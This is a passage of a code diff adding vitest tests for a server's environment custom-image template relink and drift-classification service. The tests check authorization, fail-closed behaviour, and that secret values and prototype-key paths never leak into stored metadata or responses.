+    expect(res.status).toBe(409);
+  });
+
+  it("denies agent API key actors before the relink service is called", async () => {
+    const res = await request(createApp(agentActor()))
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({});
+    expect(res.status).toBe(403);
+    expect(mockEnvironmentCustomImageService.relinkActiveTemplate).not.toHaveBeenCalled();
+  });
+
+  it("denies non-admin board users before the relink service is called", async () => {
+    const res = await request(createApp(boardActor({
+      companyIds: ["company-2"],
+      isInstanceAdmin: false,
+    })))
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({});
+    expect(res.status).toBe(403);
+    expect(mockEnvironmentCustomImageService.relinkActiveTemplate).not.toHaveBeenCalled();
+  });
 });
diff --git a/server/src/__tests__/environment-custom-images-service.test.ts b/server/src/__tests__/environment-custom-images-service.test.ts
index 51a8e4691ad..f3f986c4069 100644
--- a/server/src/__tests__/environment-custom-images-service.test.ts
+++ b/server/src/__tests__/environment-custom-images-service.test.ts
@@ -1,7 +1,8 @@
 import { randomUUID } from "node:crypto";
 import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
-import { eq } from "drizzle-orm";
+import { desc, eq } from "drizzle-orm";
 import {
+  activityLog,
   companies,
   createDb,
   environmentCustomImageSetupSessions,
@@ -864,5 +865,588 @@ describeEmbeddedPostgres("environmentCustomImageService reconciliation", () => {
     const outOfSync = await service.getOverview({ environmentId });
     expect(outOfSync.activeTemplate).not.toBeNull();
     expect(outOfSync.activeTemplateMatchesConfig).toBe(false);
+    // A boot-source field changed, so the overview attributes the drift and
+    // names the field with its `from`/`to` values.
+    expect(outOfSync.activeTemplateDrift?.classification).toBe("boot_source_drift");
+    expect(outOfSync.activeTemplateDrift?.driftedPaths).toEqual(
+      expect.arrayContaining([{ path: "image", from: "fake:base", to: "fake:other" }]),
+    );
+  });
+
+  it("attributes a knob-only overview change without naming a boot-source field", async () => {
+    const { environmentId } = await seed();
+    const workerManager = createWorkerManager();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: workerManager });
+
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    await service.finishSetupSession({ sessionId: started.session.id });
+
+    // A non-boot-relevant field changes. The fingerprint no longer matches, but
+    // every boot-source value still matches, so the drift is knob-only.
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:base", reuseLease: false, region: "eu" } })
+      .where(eq(environments.id, environmentId));
+    const overview = await service.getOverview({ environmentId });
+    expect(overview.activeTemplateMatchesConfig).toBe(false);
+    expect(overview.activeTemplateDrift?.classification).toBe("knob_only");
+    expect(overview.activeTemplateDrift?.driftedPaths).toEqual([]);
+  });
+
+  it("attributes an unclassified overview drift for a legacy template with no snapshot", async () => {
+    const { environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    // A legacy template carries no boot-relevant snapshot. The overview must
+    // fail closed and give no false "safe to relink" signal.
+    await db.insert(environmentCustomImageTemplates).values({
+      environmentId,
+      provider: "fake-plugin",
+      templateKind: "snapshot",
+      templateRef: "snapshot-legacy",
+      sourceEnvironmentConfigFingerprint: "stale-fingerprint",
+      status: "active",
+      metadata: { runtimeConfigBinding: { field: "customTemplate", unsetFields: ["image"] } },
+    });
+
+    const overview = await service.getOverview({ environmentId });
+    expect(overview.activeTemplate).not.toBeNull();
+    expect(overview.activeTemplateDrift?.classification).toBe("unclassified");
+    expect(overview.activeTemplateDrift?.driftedPaths).toEqual([]);
+  });
+});
+
+function secretPluginManifest() {
+  return {
+    id: "paperclip.fake-secret-sandbox-provider",
+    apiVersion: 1,
+    version: "0.1.0",
+    displayName: "Fake Secret Sandbox Provider",
+    categories: ["automation"],
+    capabilities: ["environment.drivers.register"],
+    entrypoints: { worker: "./dist/worker.js" },
+    environmentDrivers: [
+      {
+        driverKey: "fake-secret-plugin",
+        kind: "sandbox_provider",
+        displayName: "Fake Secret Sandbox Provider",
+        supportsInteractiveSetup: true,
+        interactiveSetupConnectionTypes: ["ssh"],
+        supportsTemplateCapture: true,
+        templateRefKind: "snapshot",
+        templateConfigBinding: { field: "customTemplate", unsetFields: ["image"] },
+        // apiUrl overlaps a secret exactly; auth.token is a child of secret
+        // `auth`; credentials is a parent of secret `credentials.secret`.
+        templateIdentityPaths: ["apiUrl", "auth.token", "credentials"],
+        supportsTemplateDelete: true,
+        configSchema: {
+          type: "object",
+          properties: {
+            apiUrl: { type: "string", format: "secret-ref" },
+            auth: { type: "string", format: "secret-ref" },
+            credentials: {
+              type: "object",
+              properties: { secret: { type: "string", format: "secret-ref" } },
+            },
+          },
+        },
+      },
+    ],
+  } as const;
+}
+
+function invalidIdentityPluginManifest() {
+  return {
+    id: "paperclip.fake-invalid-sandbox-provider",
+    apiVersion: 1,
+    version: "0.1.0",
+    displayName: "Fake Invalid Identity Sandbox Provider",
+    categories: ["automation"],
+    capabilities: ["environment.drivers.register"],
+    entrypoints: { worker: "./dist/worker.js" },
+    environmentDrivers: [
+      {
+        driverKey: "fake-invalid-plugin",
+        kind: "sandbox_provider",
+        displayName: "Fake Invalid Identity Sandbox Provider",
+        supportsInteractiveSetup: true,
+        interactiveSetupConnectionTypes: ["ssh"],
+        supportsTemplateCapture: true,
+        templateRefKind: "snapshot",
+        templateConfigBinding: { field: "customTemplate", unsetFields: ["image"] },
+        // A valid path plus two that must fail canonicalization.
+        templateIdentityPaths: ["apiUrl", "bad path!", "a..b"],
+        supportsTemplateDelete: true,
+        configSchema: { type: "object" },
+      },
+    ],
+  } as const;
+}
+
+function prototypeKeyIdentityPluginManifest() {
+  return {
+    id: "paperclip.fake-prototype-key-sandbox-provider",
+    apiVersion: 1,
+    version: "0.1.0",
+    displayName: "Fake Prototype Key Sandbox Provider",
+    categories: ["automation"],
+    capabilities: ["environment.drivers.register"],
+    entrypoints: { worker: "./dist/worker.js" },
+    environmentDrivers: [
+      {
+        driverKey: "fake-prototype-key-plugin",
+        kind: "sandbox_provider",
+        displayName: "Fake Prototype Key Sandbox Provider",
+        supportsInteractiveSetup: true,
+        interactiveSetupConnectionTypes: ["ssh"],
+        supportsTemplateCapture: true,
+        templateRefKind: "snapshot",
+        templateConfigBinding: { field: "customTemplate", unsetFields: ["image"] },
+        // Every prototype key has an identifier shape but names no own field.
+        // Each must fail canonicalization and record only the marker.
+        templateIdentityPaths: ["__proto__", "constructor", "prototype", "nested.__proto__"],
+        supportsTemplateDelete: true,
+        configSchema: { type: "object" },
+      },
+    ],
+  } as const;
+}
+
+describeEmbeddedPostgres("environmentCustomImageService relink", () => {
+  let stopDb: (() => Promise<void>) | null = null;
+  let db!: ReturnType<typeof createDb>;
+
+  beforeAll(async () => {
+    const started = await startEmbeddedPostgresTestDatabase("environment-custom-images-relink");
+    stopDb = started.stop;
+    db = createDb(started.connectionString);
+  });
+
+  afterEach(async () => {
+    await db.delete(activityLog);
+    await db.delete(environmentCustomImageSetupSessions);
+    await db.delete(environmentCustomImageTemplates);
+    await db.delete(plugins);
+    await db.delete(environments);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await stopDb?.();
+  });
+
+  async function seed(opts?: {
+    manifest?: ReturnType<typeof pluginManifest> | ReturnType<typeof secretPluginManifest> | ReturnType<typeof invalidIdentityPluginManifest> | ReturnType<typeof prototypeKeyIdentityPluginManifest>;
+    config?: Record<string, unknown>;
+  }) {
+    const manifest = opts?.manifest ?? pluginManifest();
+    const provider = manifest.environmentDrivers[0]!.driverKey;
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    await db.insert(companies).values(
+      { id: companyId, name: "Acme", issuePrefix: `A${companyId.slice(0, 4)}` },
+    );
+    await db.insert(environments).values({
+      id: environmentId,
+      name: `Fake ${environmentId.slice(0, 8)}`,
+      driver: "sandbox",
+      status: "active",
+      config: opts?.config ?? { provider, image: "fake:base", reuseLease: false },
+      envVars: {},
+    });
+    await db.insert(plugins).values({
+      pluginKey: manifest.id,
+      packageName: `paperclip-plugin-${provider}`,
+      version: "0.1.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: manifest,
+      status: "ready",
+    });
+    return { companyId, environmentId, provider };
+  }
+
+  const relinkActor = {
+    actorType: "user" as const,
+    actorId: "user-1",
+    agentId: null,
+    runId: null,
+    agentApiKeyId: null,
+  };
+
+  async function activeTemplateRow(environmentId: string) {
+    return db
+      .select()
+      .from(environmentCustomImageTemplates)
+      .where(eq(environmentCustomImageTemplates.environmentId, environmentId))
+      .orderBy(desc(environmentCustomImageTemplates.createdAt))
+      .then((rows) => rows[0]!);
+  }
+
+  async function relinkActivityRows(environmentId: string) {
+    return db
+      .select()
+      .from(activityLog)
+      .where(eq(activityLog.entityId, environmentId));
+  }
+
+  it("keeps secret-ref values out of metadata, the response, and activity, and relinks with the flag", async () => {
+    const config = {
+      provider: "fake-secret-plugin",
+      image: "fake:base",
+      apiUrl: "https://secret-endpoint.example",
+      auth: "auth-secret-value",
+      credentials: { secret: "cred-secret-value", region: "eu" },
+      reuseLease: false,
+    };
+    const { companyId, environmentId } = await seed({ manifest: secretPluginManifest(), config });
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    const promoted = await service.finishSetupSession({ sessionId: started.session.id });
+
+    // The public template response never carries the server-internal snapshot.
+    expect((promoted.template.metadata as Record<string, unknown>).bootRelevantConfig).toBeUndefined();
+
+    // The persisted snapshot lives in the row. Every secret-ref overlap is
+    // excluded with no value (exact, child, parent).
+    const persistedRow = await activeTemplateRow(environmentId);
+    const boot = (persistedRow.metadata as Record<string, unknown>).bootRelevantConfig as {
+      values: Record<string, unknown>;
+      excludedPaths: string[];
+    };
+    expect(boot.excludedPaths).toEqual(expect.arrayContaining(["apiUrl", "auth.token", "credentials"]));
+    expect(Object.keys(boot.values)).not.toContain("apiUrl");
+    expect(Object.keys(boot.values)).not.toContain("auth.token");
+    expect(Object.keys(boot.values)).not.toContain("credentials");
+    // Neither the persisted snapshot nor the response leaks a secret value.
+    for (const metadataJson of [
+      JSON.stringify(persistedRow.metadata),
+      JSON.stringify(promoted.template.metadata),
+    ]) {
+      expect(metadataJson).not.toContain("secret-endpoint.example");
+      expect(metadataJson).not.toContain("auth-secret-value");
+      expect(metadataJson).not.toContain("cred-secret-value");
+    }
+
+    // An excluded path forces the fail-closed unclassified result: the flag is required.
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 409 });
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("unclassified");
+    const responseJson = JSON.stringify(relinked);
+    expect(responseJson).not.toContain("secret-endpoint.example");
+    expect(responseJson).not.toContain("auth-secret-value");
+    expect(responseJson).not.toContain("cred-secret-value");
+
+    const activities = await relinkActivityRows(environmentId);
+    const relinkActivity = activities.find((row) => row.action === "environment.custom_image_template.relinked");
+    expect(relinkActivity).toBeDefined();
+    const activityJson = JSON.stringify(relinkActivity!.details);
+    expect(activityJson).not.toContain("secret-endpoint.example");
+    expect(activityJson).not.toContain("auth-secret-value");
+    expect(activityJson).not.toContain("cred-secret-value");
+    // Drift detail carries path names only, never a fingerprint value.
+    expect(activityJson).not.toContain(promoted.template.sourceEnvironmentConfigFingerprint);
+  });
+
+  it("keeps secret values and the fingerprint out of the overview payload", async () => {
+    const config = {
+      provider: "fake-secret-plugin",
+      image: "fake:base",
+      apiUrl: "https://secret-endpoint.example",
+      auth: "auth-secret-value",
+      credentials: { secret: "cred-secret-value", region: "eu" },
+      reuseLease: false,
+    };
+    const { environmentId } = await seed({ manifest: secretPluginManifest(), config });
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    const promoted = await service.finishSetupSession({ sessionId: started.session.id });
+
+    // A boot-source field changes, so the overview reports drift and carries the
+    // drifted paths. The payload must never leak a secret value or a fingerprint.
+    await db.update(environments)
+      .set({ config: { ...config, image: "fake:other" } })
+      .where(eq(environments.id, environmentId));
+    const overview = await service.getOverview({ environmentId });
+    // An excluded secret-ref path forces the fail-closed unclassified result.
+    expect(overview.activeTemplateDrift?.classification).toBe("unclassified");
+    // The full overview never leaks a secret value, and the server-internal
+    // snapshot never reaches the template response.
+    const overviewJson = JSON.stringify(overview);
+    expect(overviewJson).not.toContain("secret-endpoint.example");
+    expect(overviewJson).not.toContain("auth-secret-value");
+    expect(overviewJson).not.toContain("cred-secret-value");
+    expect(overviewJson).not.toContain("bootRelevantConfig");
+    // The drift attribution carries path names and non-secret values only, never
+    // a fingerprint value.
+    const driftJson = JSON.stringify(overview.activeTemplateDrift);
+    expect(driftJson).not.toContain(promoted.template.sourceEnvironmentConfigFingerprint);
+    expect(driftJson).not.toContain("secret-endpoint.example");
+    expect(driftJson).not.toContain("auth-secret-value");
+    expect(driftJson).not.toContain("cred-secret-value");
+  });
+
+  it("fails closed for legacy templates without a boot-relevant snapshot", async () => {
+    const { companyId, environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    await db.insert(environmentCustomImageTemplates).values({
+      environmentId,
+      provider: "fake-plugin",
+      templateKind: "snapshot",
+      templateRef: "snapshot-legacy",
+      sourceEnvironmentConfigFingerprint: "stale-fingerprint",
+      status: "active",
+      metadata: { runtimeConfigBinding: { field: "customTemplate", unsetFields: ["image"] } },
+    });
+
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 409 });
+    const beforeRow = await activeTemplateRow(environmentId);
+    expect(beforeRow.sourceEnvironmentConfigFingerprint).toBe("stale-fingerprint");
+
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("unclassified");
+    const afterRow = await activeTemplateRow(environmentId);
+    expect(afterRow.sourceEnvironmentConfigFingerprint).not.toBe("stale-fingerprint");
+  });
+
+  it("relinks a knob-only change without a flag and keeps the fail-closed runtime gate", async () => {
+    const { companyId, environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    const promoted = await service.finishSetupSession({ sessionId: started.session.id });
+
+    // A non-boot field changes the fingerprint and detaches the template.
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:base", reuseLease: false, region: "eu" } })
+      .where(eq(environments.id, environmentId));
+    const detached = await service.getOverview({ environmentId });
+    expect(detached.activeTemplateMatchesConfig).toBe(false);
+
+    const relinked = await service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId });
+    expect(relinked.classification).toBe("knob_only");
+    const afterRelink = await service.getOverview({ environmentId });
+    expect(afterRelink.activeTemplateMatchesConfig).toBe(true);
+    const resolved = await resolveEnvironmentDriverConfigForRuntime(db, companyId, {
+      id: environmentId,
+      driver: "sandbox",
+      config: { provider: "fake-plugin", image: "fake:base", reuseLease: false, region: "eu" },
+    }, { heartbeatRunId: randomUUID() });
+    expect(resolved.config).toMatchObject({ customTemplate: promoted.template.templateRef });
+
+    // The gate stays fail-closed: a base image change detaches again.
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:other", reuseLease: false, region: "eu" } })
+      .where(eq(environments.id, environmentId));
+    const afterImageChange = await service.getOverview({ environmentId });
+    expect(afterImageChange.activeTemplateMatchesConfig).toBe(false);
+  });
+
+  it("requires the flag for boot-source drift and re-stamps only after confirmation", async () => {
+    const { companyId, environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    await service.finishSetupSession({ sessionId: started.session.id });
+
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:other", reuseLease: false } })
+      .where(eq(environments.id, environmentId));
+
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({
+        status: 409,
+        details: {
+          classification: "boot_source_drift",
+          driftedPaths: expect.arrayContaining([
+            expect.objectContaining({ path: "image", from: "fake:base", to: "fake:other" }),
+          ]),
+        },
+      });
+
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("boot_source_drift");
+    const afterRelink = await service.getOverview({ environmentId });
+    expect(afterRelink.activeTemplateMatchesConfig).toBe(true);
+  });
+
+  it("re-stamps only the active template and never a superseded one", async () => {
+    const { companyId, environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const first = await service.finishSetupSession({
+      sessionId: (await service.startSetupSession({ environmentId, actor: { userId: "user-1" } })).session.id,
+    });
+    const second = await service.finishSetupSession({
+      sessionId: (await service.startSetupSession({ environmentId, actor: { userId: "user-1" } })).session.id,
+    });
+    // The first template is now superseded; the second is active.
+    const supersededBefore = await db
+      .select()
+      .from(environmentCustomImageTemplates)
+      .where(eq(environmentCustomImageTemplates.id, first.template.id))
+      .then((rows) => rows[0]!);
+
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:base", reuseLease: false, region: "eu" } })
+      .where(eq(environments.id, environmentId));
+    const relinked = await service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId });
+    expect(relinked.template.id).toBe(second.template.id);
+
+    const supersededAfter = await db
+      .select()
+      .from(environmentCustomImageTemplates)
+      .where(eq(environmentCustomImageTemplates.id, first.template.id))
+      .then((rows) => rows[0]!);
+    expect(supersededAfter.status).toBe("superseded");
+    expect(supersededAfter.sourceEnvironmentConfigFingerprint)
+      .toBe(supersededBefore.sourceEnvironmentConfigFingerprint);
+  });
+
+  it("aborts with a conflict and writes no active template when none exists", async () => {
+    const { companyId, environmentId } = await seed();
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 404 });
+    const activities = await relinkActivityRows(environmentId);
+    expect(activities.filter((row) => row.action === "environment.custom_image_template.relinked")).toHaveLength(0);
+  });
+
+  it("classifies an invalid driver identity path as unclassified without treating it as value-bearing", async () => {
+    const { companyId, environmentId } = await seed({ manifest: invalidIdentityPluginManifest(), config: {
+      provider: "fake-invalid-plugin",
+      image: "fake:base",
+      reuseLease: false,
+    } });
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    const promoted = await service.finishSetupSession({ sessionId: started.session.id });
+
+    expect((promoted.template.metadata as Record<string, unknown>).bootRelevantConfig).toBeUndefined();
+    const persistedRow = await activeTemplateRow(environmentId);
+    const boot = (persistedRow.metadata as Record<string, unknown>).bootRelevantConfig as {
+      values: Record<string, unknown>;
+      excludedPaths: string[];
+    };
+    expect(boot.excludedPaths).toContain("[unresolved-identity-path]");
+    // The raw invalid paths are never persisted and never value-bearing.
+    const metadataJson = JSON.stringify(persistedRow.metadata);
+    expect(metadataJson).not.toContain("bad path!");
+    expect(metadataJson).not.toContain("a..b");
+    expect(Object.keys(boot.values)).not.toContain("bad path!");
+    expect(Object.keys(boot.values)).not.toContain("a..b");
+
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 409 });
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("unclassified");
+  });
+
+  it("fails closed for prototype-key driver identity paths and never persists them", async () => {
+    const { companyId, environmentId } = await seed({ manifest: prototypeKeyIdentityPluginManifest(), config: {
+      provider: "fake-prototype-key-plugin",
+      image: "fake:base",
+      reuseLease: false,
+    } });
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    const promoted = await service.finishSetupSession({ sessionId: started.session.id });
+
+    expect((promoted.template.metadata as Record<string, unknown>).bootRelevantConfig).toBeUndefined();
+    const persistedRow = await activeTemplateRow(environmentId);
+    const boot = (persistedRow.metadata as Record<string, unknown>).bootRelevantConfig as {
+      values: Record<string, unknown>;
+      excludedPaths: string[];
+    };
+    // Every prototype key fails canonicalization and records only the marker.
+    expect(boot.excludedPaths).toContain("[unresolved-identity-path]");
+    // No raw prototype-key path and no value for one persists in the snapshot.
+    expect(boot.excludedPaths).not.toContain("__proto__");
+    expect(boot.excludedPaths).not.toContain("constructor");
+    expect(boot.excludedPaths).not.toContain("prototype");
+    expect(Object.keys(boot.values)).not.toContain("__proto__");
+    expect(Object.keys(boot.values)).not.toContain("constructor");
+    expect(Object.keys(boot.values)).not.toContain("prototype");
+    // The prototype of the values map stays clean; no key leaked onto it.
+    expect(Object.getPrototypeOf(boot.values)).toBe(Object.prototype);
+    const metadataJson = JSON.stringify(persistedRow.metadata);
+    expect(metadataJson).not.toContain("__proto__");
+    expect(metadataJson).not.toContain("nested.__proto__");
+
+    // An unflagged relink fails closed with 409 and the unclassified class.
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 409, details: { classification: "unclassified" } });
+    // A confirmed relink succeeds and writes the relinked activity entry.
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("unclassified");
+    const activities = await relinkActivityRows(environmentId);
+    const relinkActivity = activities.find((row) => row.action === "environment.custom_image_template.relinked");
+    expect(relinkActivity).toBeDefined();
+  });
+
+  it("fails closed when the provider adds a boot-relevant identity path after capture", async () => {
+    const { companyId, environmentId } = await seed({ config: {
+      provider: "fake-plugin",
+      image: "fake:base",
+      region: "us",
+      reuseLease: false,
+    } });
+    const service = environmentCustomImageService(db, { pluginWorkerManager: createWorkerManager() });
+    const started = await service.startSetupSession({ environmentId, actor: { userId: "user-1" } });
+    await service.finishSetupSession({ sessionId: started.session.id });
+
+    // A knob-only region change detaches the template. On its own it would
+    // relink without confirmation.
+    await db.update(environments)
+      .set({ config: { provider: "fake-plugin", image: "fake:base", region: "eu", reuseLease: false } })
+      .where(eq(environments.id, environmentId));
+
+    // The provider now declares `region` a boot-relevant identity path. The
+    // capture snapshot never covered it, so the server cannot verify the boot
+    // source and must not classify the drift as knob-only.
+    const manifest = pluginManifest();
+    const nextManifest = {
+      ...manifest,
+      environmentDrivers: [
+        { ...manifest.environmentDrivers[0], templateIdentityPaths: ["apiUrl", "region"] },
+      ],
+    };
+    await db.update(plugins)
+      .set({ manifestJson: nextManifest })
+      .where(eq(plugins.pluginKey, manifest.id));
+
+    await expect(service.relinkActiveTemplate({ environmentId, actor: relinkActor, companyId }))
+      .rejects.toMatchObject({ status: 409, details: { classification: "unclassified" } });
+    const relinked = await service.relinkActiveTemplate({
+      environmentId,
+      confirmBootSourceDrift: true,
+      actor: relinkActor,
+      companyId,
+    });
+    expect(relinked.classification).toBe("unclassified");
   });
 });
diff --git a/server/src/__tests__/environment-execution-target-capabilities.test.ts b/server/src/__tests__/environment-execution-target-capabilities.test.ts
new file mode 100644
index 00000000000..42d8420c7ff
--- /dev/null
+++ b/server/src/__tests__/environment-execution-target-capabilities.test.ts
@@ -0,0 +1,353 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { mockResolveEnvironmentDriverConfigForRuntime } = vi.hoisted(() => ({
+  mockResolveEnvironmentDriverConfigForRuntime: vi.fn(),
+}));
+
+vi.mock("../services/environment-config.js", () => ({
+  resolveEnvironmentDriverConfigForRuntime: mockResolveEnvironmentDriverConfigForRuntime,
+}));
+
+import type { EffectiveSandboxCapabilities } from "@paperclipai/adapter-utils/execution-target";
+import { resolveEnvironmentExecutionTarget } from "../services/environment-execution-target.js";
+import type { EnvironmentRuntimeService } from "../services/environment-runtime.js";
+
+const SNAPSHOT: EffectiveSandboxCapabilities = {
+  reusableLeases: true,
+  nativeSyncIn: true,
+  nativeSyncOut: false,
+  persistentProcessSessions: true,
+  independentControlCommands: false,
+  incrementalSessionOutput: false,
+  // Concurrent sync operations need BOTH sync verbs; this snapshot verified only
+  // inbound sync, so the opt-in stays off.
+  concurrentSyncOperations: false,
+  duplexCommandStream: false,
+};
+
+// A snapshot that grants every capability. A test overrides one flag to prove
+// that the removed capability alone changes the runtime decision.
+const FULL_GRANT: EffectiveSandboxCapabilities = {
+  reusableLeases: true,
+  nativeSyncIn: true,
+  nativeSyncOut: true,
+  persistentProcessSessions: true,
+  independentControlCommands: true,
+  incrementalSessionOutput: true,
+  concurrentSyncOperations: true,
+  duplexCommandStream: true,
+};
+
+// Build a sandbox execution target with a fixed snapshot and a fixed
+// `supportsSync` result. The helper returns the sandbox target so a test reads
+// the runner and the streaming flag the snapshot gates.
+async function buildSandboxTarget(input: {
+  snapshot: EffectiveSandboxCapabilities | null;
+  supportsSync: boolean;
+  config?: Record<string, unknown>;
+  // Reject the capability resolution to exercise the fail-closed error path.
+  rejectResolution?: boolean;
+}) {
+  mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+    driver: "sandbox",
+    config: { provider: "daytona", timeoutMs: 30_000, ...(input.config ?? {}) },
+  });
+
+  const execute = vi.fn().mockResolvedValue({
+    exitCode: 0,
+    signal: null,
+    timedOut: false,
+    stdout: "ok",
+    stderr: "",
+    metadata: { durationMs: 600, getDurationMs: 15 },
+  });
+  const environmentRuntime = {
+    execute,
+    supportsSync: () => input.supportsSync,
+    syncIn: vi.fn(),
+    syncOut: vi.fn(),
+    effectiveSandboxCapabilities: vi.fn(async () => {
+      if (input.rejectResolution) {
+        throw new Error("capability resolution failed");
+      }
+      return input.snapshot ? Object.freeze({ ...input.snapshot }) : null;
+    }),
+  } as unknown as EnvironmentRuntimeService;
+
+  const target = await resolveEnvironmentExecutionTarget({
+    db: {} as never,
+    companyId: "company-1",
+    adapterType: "codex_local",
+    environment: { id: "env-1", driver: "sandbox", config: { provider: "daytona" } },
+    leaseId: "lease-1",
+    leaseMetadata: { remoteCwd: "/work" },
+    lease: { id: "lease-1", leasePolicy: "reuse_by_environment" } as never,
+    environmentRuntime,
+  });
+
+  if (target?.kind !== "remote" || target.transport !== "sandbox") {
+    throw new Error("expected a sandbox target");
+  }
+  return { target, execute };
+}
+
+describe("resolveEnvironmentExecutionTarget effective capability snapshot", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("test_execution_target_carries_read_only_effective_snapshot", async () => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+      driver: "sandbox",
+      config: { provider: "daytona", reuseLease: true, timeoutMs: 30_000 },
+    });
+
+    const effectiveSandboxCapabilities = vi.fn(async () => Object.freeze({ ...SNAPSHOT }));
+    const environmentRuntime = {
+      supportsSync: () => false,
+      effectiveSandboxCapabilities,
+    } as unknown as EnvironmentRuntimeService;
+
+    const target = await resolveEnvironmentExecutionTarget({
+      db: {} as never,
+      companyId: "company-1",
+      adapterType: "codex_local",
+      environment: { id: "env-1", driver: "sandbox", config: { provider: "daytona" } },
+      leaseId: "lease-1",
+      leaseMetadata: { remoteCwd: "/work" },
+      lease: { id: "lease-1", leasePolicy: "reuse_by_environment" } as never,
+      environmentRuntime,
+    });
+
+    expect(target?.kind).toBe("remote");
+    if (target?.kind !== "remote" || target.transport !== "sandbox") {
+      throw new Error("expected a sandbox target");
+    }
+    expect(effectiveSandboxCapabilities).toHaveBeenCalledTimes(1);
+    expect(target.effectiveCapabilities).toEqual(SNAPSHOT);
+
+    // The snapshot is read-only: it is frozen, so a write does not change it.
+    expect(Object.isFrozen(target.effectiveCapabilities)).toBe(true);
+    const snapshot = target.effectiveCapabilities as EffectiveSandboxCapabilities;
+    try {
+      (snapshot as { reusableLeases: boolean }).reusableLeases = false;
+    } catch {
+      // A strict-mode assignment throws; a non-strict one is a silent no-op.
+    }
+    expect(snapshot.reusableLeases).toBe(true);
+  });
+
+  it("omits the snapshot when no environment runtime resolves it", async () => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+      driver: "sandbox",
+      config: { provider: "daytona", reuseLease: false, timeoutMs: 30_000 },
+    });
+
+    const target = await resolveEnvironmentExecutionTarget({
+      db: {} as never,
+      companyId: "company-1",
+      adapterType: "codex_local",
+      environment: { id: "env-1", driver: "sandbox", config: { provider: "daytona" } },
+      leaseId: "lease-1",
+      leaseMetadata: {},
+      lease: null,
+      environmentRuntime: null,
+    });
+
+    expect(target?.kind).toBe("remote");
+    if (target?.kind !== "remote" || target.transport !== "sandbox") {
+      throw new Error("expected a sandbox target");
+    }
+    expect(target.effectiveCapabilities).toBeUndefined();
+  });
+});
+
+describe("effective snapshot gates the sync decision", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("exposes the native sync hooks when the snapshot grants both sync verbs", async () => {
+    const { target } = await buildSandboxTarget({ snapshot: FULL_GRANT, supportsSync: true });
+    expect(target.runner?.syncIn).toBeTypeOf("function");
+    expect(target.runner?.syncOut).toBeTypeOf("function");
+  });
+
+  it("omits the native sync hooks when the snapshot removes a sync verb", async () => {
+    // The snapshot verified inbound sync but not outbound sync. The runner
+    // exposes the sync hooks both-or-neither, so it keeps the base64 fallback.
+    const { target } = await buildSandboxTarget({
